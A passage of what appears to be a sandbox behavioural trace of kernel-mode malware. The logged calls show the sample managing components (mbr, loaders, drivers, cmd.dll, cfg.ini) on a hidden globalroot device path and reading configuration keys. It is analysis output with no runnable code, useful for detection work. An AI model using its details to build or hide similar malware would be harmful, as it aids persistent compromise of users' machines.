_Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.825] KeLeaveCriticalRegion () [0118.825] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.825] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.825] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.825] KeEnterCriticalRegion () [0118.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.825] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.825] IdePortDispatch () returned 0x103 [0118.825] KeWaitForMutexObject () returned 0x0 [0118.825] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.825] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.825] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.825] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.825] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.826] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.826] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.826] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.826] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.826] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.826] KeLeaveCriticalRegion () [0118.826] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.826] ReleaseMutex (hMutex=0x100) returned 1 [0118.826] Sleep (dwMilliseconds=0x2bf20) [0118.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a07c290, dwHighDateTime=0x1d24fa4)) [0118.835] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.835] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.835] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.835] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.835] KeEnterCriticalRegion () [0118.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.836] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.836] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.836] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.837] IdePortDispatch () returned 0x103 [0118.837] KeWaitForMutexObject () returned 0x0 [0118.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.837] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.837] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.837] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.837] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.837] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca200 [0118.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.837] KeLeaveCriticalRegion () [0118.837] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.837] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.837] KeEnterCriticalRegion () [0118.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.837] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.837] KeLeaveCriticalRegion () [0118.837] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.837] KeEnterCriticalRegion () [0118.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.838] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.838] IdePortDispatch () returned 0x103 [0118.838] KeWaitForMutexObject () returned 0x0 [0118.838] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.838] KeLeaveCriticalRegion () [0118.838] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.838] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.838] KeEnterCriticalRegion () [0118.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.838] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c30000 [0118.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.838] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.838] IdePortDispatch () returned 0x103 [0118.838] KeWaitForMutexObject () returned 0x0 [0118.839] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.839] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.839] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.839] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.839] IdePortDispatch () returned 0x103 [0118.839] KeWaitForMutexObject () returned 0x0 [0118.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.839] KeLeaveCriticalRegion () [0118.839] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.840] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.840] KeEnterCriticalRegion () [0118.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.840] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.840] KeLeaveCriticalRegion () [0118.840] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.840] KeEnterCriticalRegion () [0118.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.840] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.840] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.840] KeLeaveCriticalRegion () [0118.840] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.840] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.840] KeEnterCriticalRegion () [0118.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.840] ExFreePoolWithTag (P=0xfffffa8003bca200, Tag=0x0) [0118.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.840] KeLeaveCriticalRegion () [0118.840] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.840] ReleaseMutex (hMutex=0xf0) returned 1 [0118.840] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.840] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.840] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.840] KeEnterCriticalRegion () [0118.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.841] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.841] IdePortDispatch () returned 0x103 [0118.841] KeWaitForMutexObject () returned 0x0 [0118.841] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.841] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.841] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.841] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.841] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.841] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcee10 [0118.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.841] KeLeaveCriticalRegion () [0118.841] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.841] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.841] KeEnterCriticalRegion () [0118.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.841] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.841] KeLeaveCriticalRegion () [0118.841] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.841] KeEnterCriticalRegion () [0118.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.842] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.842] IdePortDispatch () returned 0x103 [0118.842] KeWaitForMutexObject () returned 0x0 [0118.842] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.842] KeLeaveCriticalRegion () [0118.842] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.842] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.842] KeEnterCriticalRegion () [0118.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.842] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c31000 [0118.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.842] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.842] IdePortDispatch () returned 0x103 [0118.843] KeWaitForMutexObject () returned 0x0 [0118.843] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.843] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.843] IdePortDispatch () returned 0x103 [0118.843] KeWaitForMutexObject () returned 0x0 [0118.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.843] KeLeaveCriticalRegion () [0118.843] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.844] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.844] KeEnterCriticalRegion () [0118.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.844] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.844] KeLeaveCriticalRegion () [0118.844] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.844] KeEnterCriticalRegion () [0118.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.844] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.844] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.844] KeLeaveCriticalRegion () [0118.844] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.844] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.844] KeEnterCriticalRegion () [0118.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.844] ExFreePoolWithTag (P=0xfffffa8003bcee10, Tag=0x0) [0118.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.844] KeLeaveCriticalRegion () [0118.844] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.844] ReleaseMutex (hMutex=0xf0) returned 1 [0118.844] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.844] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.844] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.845] KeEnterCriticalRegion () [0118.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.845] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.845] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.845] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.845] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.845] IdePortDispatch () returned 0x103 [0118.845] KeWaitForMutexObject () returned 0x0 [0118.845] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.845] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.845] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.845] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.845] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.845] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc210 [0118.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.845] KeLeaveCriticalRegion () [0118.845] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.845] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.845] KeEnterCriticalRegion () [0118.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.845] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.845] KeLeaveCriticalRegion () [0118.845] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.845] KeEnterCriticalRegion () [0118.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.846] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.846] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.846] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.846] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.846] IdePortDispatch () returned 0x103 [0118.846] KeWaitForMutexObject () returned 0x0 [0118.846] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.846] KeLeaveCriticalRegion () [0118.846] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.846] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.846] KeEnterCriticalRegion () [0118.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.846] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c32000 [0118.846] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.846] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.846] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.846] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.846] IdePortDispatch () returned 0x103 [0118.847] KeWaitForMutexObject () returned 0x0 [0118.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.847] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.847] IdePortDispatch () returned 0x103 [0118.847] KeWaitForMutexObject () returned 0x0 [0118.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.847] KeLeaveCriticalRegion () [0118.847] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.848] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.848] KeEnterCriticalRegion () [0118.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.848] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.848] KeLeaveCriticalRegion () [0118.848] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.848] KeEnterCriticalRegion () [0118.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.848] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.848] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.848] KeLeaveCriticalRegion () [0118.848] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.849] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") 